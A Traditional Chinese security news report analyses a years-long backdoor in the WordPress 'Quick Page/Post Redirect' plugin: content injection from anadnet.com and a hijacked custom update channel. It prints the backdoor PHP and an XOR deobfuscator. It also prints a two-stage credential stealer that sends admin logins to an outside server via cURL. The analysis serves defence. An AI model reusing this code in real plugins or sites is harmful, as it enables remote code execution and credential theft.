摘要

報告提供了對一個流行WordPress外掛「Quick Page/Post Redirect Plugin」中發現的複雜多階段後門進行詳盡的技術分析。該後門潛伏多年,利用內容注入(content injection)與客製化更新機制來維持持續性並實現遠端程式碼執行。文章分析說明初次發現的過程、兩種不同的後門機制、遭到入侵的時間軸,以及對WordPress生態系中供應鏈安全的廣泛影響。此外,文章也與其他實際觀察到的多層級惡意Payload隱藏手法相互對照。

你的 md5sum 還對嗎?PUC 與內容注入正在發動你沒發現的 WordPress 供應鏈攻擊 | 資訊安全新聞

1. 簡介

軟體供應鏈的完整性是現代網路安全中的關鍵議題。這個案例研究探討一個知名WordPress外掛「Quick Page/Post Redirect Plugin」的重大事件,該外掛被發現內含潛伏多年的後門 [1] 。這起入侵事件突顯了在廣泛使用的軟體元件中偵測細微惡意修改的困難度,以及這類威脅可能長期持續存在的風險。報告深入探討後門實作的技術細節、其規避手法,以及發現與修復所使用的方法。

2. 初次發現與第一階段後門

該後門的存在最初是由針對「Quick Page/Post Redirect Plugin」5.2.3版本例行性安全警報所標記 [1] 。一個關鍵發現是受影響網站上的外掛檔案 md5sum hash與 wordpress[.]org 上正式版本相比存在差異,這表示外掛程式庫遭到未經授權的修改。

2.1. 內容注入機制

第一階段後門被識別為一個掛載到 WordPress 的 the_content filter 且優先權為 -1 的額外函式。該函式設計為在每個未登入的頁面瀏覽時,從第三方 URL 擷取內容並添加到文章內文之前 [1] 。條件式執行中的 !is_user_logged_in() 是一項關鍵的規避手法,確保進行日常檢查的管理員不會觀察到惡意活動。

下方為負責此內容注入的PHP程式碼片段:

  1. function filter_the_content_in_the_main_loop( $content ) {
  2. if (( is_single() || is_singular() || is_page() ) && (!is_user_logged_in()) && is_main_query() ){
  3. if ($this->ppr_pro === '1' ){
  4. if (!defined('CREDIT')) {
  5. $ctx=stream_context_create(array('http'=>array('timeout' => 3)));
  6. try{
  7. $credit=@file_get_contents('https://w.anadnet.com/bro/3/'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] .'QQQ'. urlencode($_SERVER['HTTP_USER_AGENT']).'QQQEND', false, $ctx);
  8. } catch (Exception $e) {}
  9. return $credit . $content;
  10. }
  11. }
  12. }
  13. return $content;
  14. }

此程式碼嘗試從 https://w.anadnet.com/bro/3/ 擷取資料,並附加伺服器名稱、request URI 及使用者代理程式作為參數。這讓攻擊者能夠精確追蹤哪些頁面正被誰瀏覽。網域 w.anadnet.com 經查為無法解析(NXDOMAIN),表示此特定後門的 C2伺服器 已下線或轉移,導致內容注入雖然潛伏但仍在程式庫中存在 [1]

3. 第二階段後門:客製化更新機制

第二個更為隱蔽的後門是在修復過程中發現的。在強制更新受入侵的外掛後,PHP fatal error 顯示外掛的 updater/Puc/v4p10/ 目錄中存在 Puc_v4p10_Plugin_UpdateChecker library [1]

3.1. Plugin Update Checker(PUC)濫用

由Yahnis Elsts開發的Plugin Update Checker(PUC)library是一個合法的工具,目的在為託管於官方 WordPress.org 儲存庫之外的 WordPress 外掛和佈景主題啟用客製化更新流程 [YahnisElsts/plugin-update-checker]。然而,在此案例中,該 library 被惡意整合,將 anadnet.com/updates/ 註冊為替代更新來源。這讓攻擊者能夠將任意程式碼更新推送至受入侵的網站,並擁有外掛作者的全部權限,從而實現隨選的遠端程式碼執行(Remote Code Execution, RCE) [1]

啟動此惡意更新機制的關鍵程式碼行位於主外掛檔案中:

Puc_v4p10_Factory::buildUpdateChecker('https://anadnet...', ...)
        

此呼叫實際上指示外掛定期檢查 anadnet.com 以獲取更新,繞過官方 WordPress 更新管道。這代表一個重大的供應鏈漏洞,因為合法的更新機制被顛覆以傳遞惡意 Payload。

3.2. 入侵時間軸與規避手法

針對該外掛 WordPress.org SVN log 的分析顯示了一次蓄意且經過計算的入侵 [1]

  • 2020-10-28(r2408245): 外掛作者有意將 updater 資料夾(包括設定指向 anadnet.com 的PUC library)提交至官方儲存庫。此變動包含在5.2.1與5.2.2版本中。
  • 2021-02-14(r2474557): 作者從新安裝版本中移除了自我更新程式,但關鍵的是,對於所有已收到受入侵版本的現有安裝,仍保留了這個後門管道。

此時間軸顯示了一次複雜的攻擊策略:惡意更新機制被引入、允許傳播,然後悄悄地從新發布版本中移除,同時維持對已感染網站的控制。Internet Archive提供了關鍵證據,擷取了 anadnet.com/updates/ 端點提供 5.2.3 版本 metadata 的快照,其 last_updated 時間戳與受入侵群集中觀察到的檔案修改時間相符 [1]

4. 技術對照與更廣泛的影響

在此 WordPress 外掛後門中觀察到的技術與其他進階持續性威脅及供應鏈攻擊有相似之處。使用潛伏 C2 伺服器以及多階段的 Payload 傳遞與持續性手法,是複雜惡意軟體的常見特徵。

4.1. Payload隱藏與混淆

初始的內容注入後門雖然處於潛伏狀態,但仍展示了一種 Payload 隱藏的形式。一份關於多層級信用卡側錄器的報告中討論了相關技術,涉及將惡意 JavaScript Payload 嵌入看似無害的 PNG 檔案中 [2] 。這些檔案是有效的圖片,但側錄程式碼被附加在檔案末端。網頁伺服器與瀏覽器通常會正常繪製圖片並忽略尾隨資料,而一個惡意的 PHP 元件則可以提取並將附加的程式碼注入到目標頁面中 [2] 。這種將惡意程式碼隱藏在合法檔案內的手法,使得傳統的檔案完整性監控與安全掃描器更難偵測。

前期的研究中 [2] 也詳細說明了混淆技術,例如大量使用 XOR 加密來處理字串、函式名稱與變數名稱,以增加靜態分析的複雜度。下方提供了一個去混淆函式的範例:

  1. // PHP function for string de-obfuscation using XOR cipher
  2. // The function takes a hex-encoded string and a key, then performs a byte-by-byte XOR operation.
  3. function fn_obfuscated_text($input, $key) {
  4. // 1. Convert the hexadecimal input string back to binary data.
  5. $data = hex2bin($input);
  6. $output = '';
  7. // 2. Iterate through the data bytes.
  8. for ($i = 0; $i < strlen($data); $i++) {
  9. // 3. Perform XOR operation on the current data byte and the key byte.
  10. // The key is reused (wrapped) if it is shorter than the data.
  11. $output .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
  12. }
  13. // 4. Return the de-obfuscated string (e.g., "billing_first_name").
  14. return $output;
  15. }

這類混淆技術對攻擊者來說至關重要,可以規避基於特徵的偵測與手動程式碼審查,如同在 WordPress 外掛後門與信用卡側錄器事件中所見 [1] [2]

4.2. 持續性與權限提升

WordPress 外掛後門註冊客製化更新伺服器的能力提供了一個強大的持續性機制,允許遠端程式碼執行。類似地,前文 [2] 詳細說明的信用卡側錄器透過將自身隱藏於標準 WordPress 外掛清單之外,並追蹤特權使用者來避免偵測,從而建立持續性。此追蹤機制涉及監控具有 edit_posts 能力的使用者、記錄他們的 IP 位址,並設定持久性 cookie 以防止管理員帳號看到側錄程式碼注入。這種「閘道」機制是一種複雜的反偵測措施。

權限提升與持續性機制的流程可視覺化如下:

graph TD A[User Request] --> B{Is User Logged In?} B -- No --> C[Serve Page Normally] B -- Yes --> D{Does User Have
'edit_posts' Capability?} D -- Yes --> E[Log User IP
and Time in DB] E --> F[Set Persistent
Cookie 'pxcelPage_c01002'] F --> G{Is Skimmer Injection
Active?} G -- Yes --> H[Prevent
Skimmer Injection] D -- No --> I{Is Skimmer Injection
Active?} I -- Yes --> J[Inject Skimmer Payload] I -- No --> C

圖1:權限提升與持續性流程圖。此圖說明了惡意外掛如何避免被特權使用者偵測,同時對未經驗證的使用者注入Payload。

4.3. 認證洩漏

雖然主要文章聚焦於內容注入與遠端程式碼執行,前文 [2] 提供了關於多階段認證竊取技術的見解,這些技術可能會被整合到這類後門中。所述方法涉及一個兩階段過程來竊取登入認證,目標是管理員帳號。第一階段在使用 wp_authenticate_user filter 進行身分驗證之前攔截密碼,並暫時儲存在 Base64 編碼的 cookie 中 [2]

  1. // Stage 1: Intercepting the password before authentication
  2. add_filter("wp_authenticate_user", "fn_intercept_credentials", 10, 2);
  3. function fn_intercept_credentials($user_obj, $password) {
  4. // Check if authentication has already failed.
  5. if (is_wp_error($user_obj)) {
  6. return $user_obj;
  7. }
  8. $creds_cookie = "wp_tdata";
  9. // Store the password, Base64-encoded, in a temporary cookie.
  10. $_COOKIE[$creds_cookie] = base64_encode($password);
  11. return $user_obj;
  12. }

第二階段則在成功登入時由 wp_login 動作觸發,從 cookie 中取出儲存的密碼,結合其他使用者資料,並透過 cURL 請求外洩至遠端伺服器。資料經過高度編碼以確保傳輸安全 [2]

  1. // Stage 2: Exfiltrating credentials upon successful login
  2. add_action("wp_login", "exfiltrate_credentials", 10, 2);
  3. function exfiltrate_credentials($user_login, $user_obj) {
  4. $exfil_server = "hxxps://badping.info/SMILODON/index_b.php?view=";
  5. $creds_cookie = "wp_tdata";
  6. // Check for the temporary password cookie.
  7. if (!isset($_COOKIE[$creds_cookie]))
  8. return;
  9. $request_uri = $_SERVER["REQUEST_URI"];
  10. // 1. Combine username and password (decoded from cookie) and Base64 encode.
  11. $user_data = base64_encode($user_login.";".base64_decode($_COOKIE[$creds_cookie]));
  12. // 2. Combine host, request URI, user data, and a placeholder IP, then Base64 encode.
  13. $curl_data = base64_encode($_SERVER["HTTP_HOST"] . ";". $request_uri . ";". $user_data . ";127.0.0.1");
  14. // 3. URL-encode '+' characters for safe transmission in the query string.
  15. $curl_data = str_replace("+", "%2b", $curl_data);
  16. // 4. Send the data to the exfiltration server using cURL.
  17. if (function_exists("curl_init")) {
  18. $curl_request = curl_init($exfil_server . $curl_data);
  19. // ... cURL options setup ...
  20. @curl_exec($curl_request);
  21. }
  22. }

這些認證洩漏技術展示了可以被植入受入侵外掛中的進階能力,對使用者資料與系統安全構成嚴重風險。

5. 結論

「Quick Page/Post Redirect Plugin」後門案例深刻提醒了軟體供應鏈中持續存在且不斷演變的威脅。攻擊者複雜的手法,包括多階段後門、潛伏 C2基礎設施,以及濫用合法的更新機制,強調了持續警戒與進階偵測能力的必要性。與其他Payload隱藏及混淆技術的對照,突顯了針對內容管理系統的網路攻擊中更廣泛的趨勢。組織與個別使用者必須優先採取穩健的安全實務,包括定期安全稽核、謹慎挑選外掛,以及監控異常網路流量,以減輕此類隱蔽且持續性威脅所帶來的風險。